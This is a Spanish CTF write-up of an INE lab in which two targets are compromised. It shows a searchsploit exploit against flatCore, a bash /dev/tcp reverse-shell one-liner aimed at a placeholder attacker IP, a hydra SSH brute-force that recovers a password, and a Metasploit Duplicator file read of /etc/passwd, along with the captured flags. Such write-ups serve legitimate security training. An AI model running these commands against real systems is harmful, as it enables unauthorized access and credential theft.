~/write-ups/writeup-7217d93542

Host & Network Penetration Testing: Exploitation CTF 1

Imported from Notion: Host & Network Penetration Testing: Exploitation CTF 1

target:: Notion MEDIUM date:: 2026.07.26 notion

Tenemos dos targets: target1.ine.local y target2.ine.local

Empezamos con target1.ine.local haciendo un escaneo de los 10K primeros puertos:

nmap -sV -sC -p1-10000 target​1.ine.​local -oA target​1_10Ks​can
Notion image
Notion image

Vemos que el puerto 80 esta abierto, abrimos Firefox para ver que esta corriendo.

Notion image
Notion image

Vemos un panel de acceso, probamos con las credenciales que no da la pista:

Identify and exploit the vulnerable web application running on target1.ine.local and retrieve the flag from the root directory. The credentials admin:password1 may be useful.

Y conseguimos loggearnos, clickamos en Administration y en el footer vemos la version exacta:

Notion image
Notion image

Ahora vamos a buscar vulnerabilidades de este servicio (flatcore ):

search​sploit​ flatcore 2.0.7
Notion image
Notion image

Descargamos el exploit:

search​sploit​ -m 50262.py

Analizamos su contenido para ver si hay que modificar algo y ver como se usa.

Ahora lo ejecutamos:

python3 50262.py 'http:/​/targe​t1.ine​.local​' 'admin' 'password1'
Notion image
Notion image

Estamos dentro pero esta shell http no nos deja hacer absolutamente nada, a si que levantamos nc para enviarnos una bash.

En una pestaña nueva:

nc -lvnp 4242

Y ahora en la shell de la máquina víctima:

bash -c 'bas​h -i >& /dev/tcp/[TU_IP]/4242 0>&1'

Y obtenemos la reverse shell:

Notion image
Notion image

Vamos a la raiz cd / y vemos flag1.txt : FLAG1{63ff55505bf0489a8aa369663833afe6}

Para la segunda flag la pista es:

Further, identify and compromise an insecure system user on target1.ine.local.

Vamos a buscar usuarios con /home :

cat /etc/passwd | grep "/home"
Notion image
Notion image

vemos un usuario iamaweakuser

Aplicamos fuerza bruta en ssh para ver si podemos encontrar la password:

hydra -l iamawe​akuser​ -P /usr/s​hare/w​ordlis​ts/met​asploi​t/unix​_passw​ords.t​xt 192.244.24.3​ ssh
Notion image
Notion image

Encontramos sus credenciales:

[22][ssh] host: 192.244.24.3 login: iamaweakuser password: angel

Accedemos por ssh:

ssh iamawe​akuser​@192.244.24.3​
Notion image
Notion image

Revisamos el directorio principal y encontramos la flag2

Notion image
Notion image

FLAG2{bf54fd3549a948578714aff42f18e295}

Ahora vamos con el target 2:

nmap -sV -sC -p1-10000 target​2.ine.​local -oA target​2_10Ks​can
Notion image
Notion image

Accedemos por Firefox para ver que hay, aunque la pista lo deja bastante claro:

Identify and exploit the vulnerable plugin used by the web application running on target2.ine.local and retrieve the flag3.txt file from the root directory.

Notion image
Notion image

Efectivamente vemos un WordPress, vamos a usar esta herramienta para ver que plugins tiene instalados:

wpscan --url http://targe​t2.ine​.local​ --enumerate ap --plug​ins-de​tectio​n aggressive

En la sección de plugins vemos 2 plugins a los que targetear:

Notion image
Notion image

akismet y duplicator , buscamos info sobre ellos en searchsploit .

Notion image
Notion image

Vemos que duplicator tiene un modulo Metasploit para leer archivos, perfecto para obtener la flag.

Inicializamos db y lanzamos Metasploit:

service postgresql start && msfconsole

Ahora buscamos el exploit:

search duplicator
Notion image
Notion image

Usamos auxiliary/scanner/http/wp_duplicator_file_read :

use 1

Y vemos que necesitamos settear show options

Vamos a dejar primero el FILEPATH en /etc/passwd para enumerar usuarios.

Setteamos RHOSTS y ejecutamos run

Notion image
Notion image

Llama la atención el user iamacrazyfreeuser , lo guardaremos para despues, vamos a cambiar ahora FILEPATH a /flag3.txt ya que sabemos que esta en la raiz y ejecutamos run .

Notion image
Notion image

Encontramos la flag3: FLAG3{0da0b602d6ea4721bf1094c3110b7e0b}

La 4ª pista nos dice:

Further, identify and compromise a system user requiring no authentication on target2.ine.local.

Usamos el user que previamente hemos identificado: iamacrazyfreeuser

ssh iamacr​azyfre​euser@target​2.ine.​local
Notion image
Notion image

Y encontramos en su directorio la flag4:

Notion image
Notion image

FLAG4{cde06d198c4c4d4c91afb2ba5ac6a369}

- EOF -

<< back_to_index